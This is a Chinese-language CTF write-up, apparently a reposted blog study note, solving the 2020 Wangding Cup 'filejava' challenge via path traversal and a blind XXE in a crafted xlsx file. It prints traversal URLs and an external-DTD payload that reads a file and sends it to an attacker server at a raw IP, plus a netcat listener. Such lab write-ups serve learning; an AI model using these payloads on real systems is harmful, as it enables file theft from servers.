【学习笔记13】buu [2020年 网鼎杯 web] filejava

首先打开网站后

 
 

就看到了一个明显的上传位置,任意传一个文件,显示上传成功,并且可以下载,用bp抓一下下载的流量包,显示

 
 

可以看到可以读取下载文件的内容,那我们试试能不能读取其他文件,如/etc/passwd,可以读取,接下来就尝试读取配置文件WEB-INF/web.xml

 
 

这里因为不知道配置文件的具体位置就用../来代替具体多少慢慢试,可以看到再其中显示的各个文件,以此下载下来,路径分别是

DownloadServlet?filename=../../../classes/cn/abc/servlet/DownloadServlet.class

DownloadServlet?filename=../../../classes/cn/abc/servlet/ListFileServlet.class

DownloadServlet?filename=../../../classes/cn/abc/servlet/UploadServlet.class

分别访问这三个路径把对应的文件给下载下来,并用jd-gui查看

看过大佬的wp后知道了在UploadServlet.java中有如下代码

if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {

  try {

    Workbook wb1 = WorkbookFactory.create(in);

    Sheet sheet = wb1.getSheetAt(0);

    System.out.println(sheet.getFirstRowNum());

  } catch (InvalidFormatException e) {

    System.err.println("poi-ooxml-3.10 has something wrong");

    e.printStackTrace();

  }

}

接下来引用大佬的一段话:

这就比较明显了,考虑是Excel的xxe,和前段时间易霖博的web4那个word文档xxe类似,但是因为是blind,需要把结果打回我们的服务器,做法和hgame week4 代打出题人服务中心那个题目基本一样。(可能就是我太菜了把,继续刷题学习)

接下就是用一个xlsx文件来完成dtd危险检测从而得到flag了

创建一个xlsx文件,注意这里要直接用让它以压缩包的格式打开,不是将它的后缀改为zip后解压,修改后再压缩改后缀为xlsx

 
 

就像这样,另外因为buu只能反弹到内网,所以只能再开个小号,开一台靶机Basic里的靶机用做VPS接受反弹的信息。

接下来修改里边的[Content-Types].xml文件,为他引入外部实体

<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://111.73.46.229/file.dtd">%remote;]>

创建file.dtd文件,并将他放到VPS的var/www/html目录下,内容如下

<!ENTITY % file SYSTEM "file:///flag">

<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://111.73.46.299:12345?cz=%file;'>">

%int;

%send;

再VPS上输入

nc - lvvp 12345 //监听相应端口,用于接受dtd危险访问带来的信息

之后只需要上传刚刚制作好的xlsx文件,就可以在VPS上得到监听到相应信心得到flag了

最后补充一点

当然,代码审计一定要审仔细,

因为源码中有这样行代码对文件名检测

filename.startsWith("excel-") && "xlsx".equals(fileExtName)

所以上传excel-***.xlsx文件,一定要用excel-开头。

猜你喜欢

转载自blog.csdn.net/weixin_43553654/article/details/107686932